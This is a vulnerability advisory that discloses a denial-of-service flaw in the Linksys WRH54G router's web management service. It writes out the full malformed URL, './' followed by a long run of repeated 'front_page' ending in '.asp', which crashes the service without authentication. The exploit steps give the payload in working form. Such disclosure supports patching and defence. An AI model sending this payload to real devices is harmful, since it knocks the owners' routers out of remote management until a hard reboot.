Advisory Text :  

1. DESCRIPTION

There is a DoS vulnerability in Cisco Linksys router WRH54G http
service. Any anonymous attacker could crash the http service easily by
sending a malformed http request, and needn't any privilege.

When the device attempts to process the malformed request, it will be
possible to corrupt sensitive memory. Although unconfirmed, it may also
be possible to modify various configuration settings or execute
malicious code.

After being attacked, Cisco Linksys router can't be accessed remotely by
any user. Http service is not recovered and the attacked router can not
be managed without a hard reboot. A reboot of router may cause network
disconnected.

Further more, the firewall can still route packets.

2. Affected products and versions

Affected products:

Cisco Linksys WRH54G and other devices

(bacause I have no enough other Linksys routers in hand, I can't make
sure how many devices this vulnerability can effect.)

Affected versions:

The lasted Firmware v1.01.03

If Need any privilege:

No

3. ANALYSIS

A malformed http request can cause the http service crashed. The
malformed request is mixed by string ./ and overly charactors. Its
format is as follows:

Http://192.168.1.1/./front_page......front_page.asp

4. EXPLOIT STEPS

4.1 Make sure the router is running normally, and the Web server is
right.

4.2 Open the explorer, type following malformed URL, and press ENTER:

http://192.168.1.106/./front_pagefront_pagefront_pagefront_pagefront_pag

efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef

ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro

nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront

_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p

agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag

efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef

ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro

nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront

_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p

agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag

efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef

ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro

nt_pagefront_pagefront_pagefront_pagefront_pagefront_p
agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pa
g
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef

ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro

nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront

_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p

agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag

efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page.

asp

4.3 Check the http service, it can't work.

Note:

1. The string ./ in malformed request is necessary. Lack of this string,
the http server will ask the anonymous to input auth information.

2. the string .asp in the end of malformed request is also necessary.
Lack of this string, we can not crash the http server.

3. The firmware information could be found at:
http://www-cn.linksys.com/servlet/Satellite?childpagename=CN%2FLayout&pa

ckedargs=page%3D2%26cid%3D1140648553423%26c%3DL_Content_C1&pagename=Link

sys%2FCommon%2FVisitorWrapper&SubmittedElement=Linksys%2FFormSubmit%2FPr

oductDownloadSearch&sp_prodsku=1172713275887

4. There is another DoS vulnerability about malformed http request in
Linksys devices(http://www.securityfocus.com/bid/6301/info).

The description and explit are different from this vulnerability.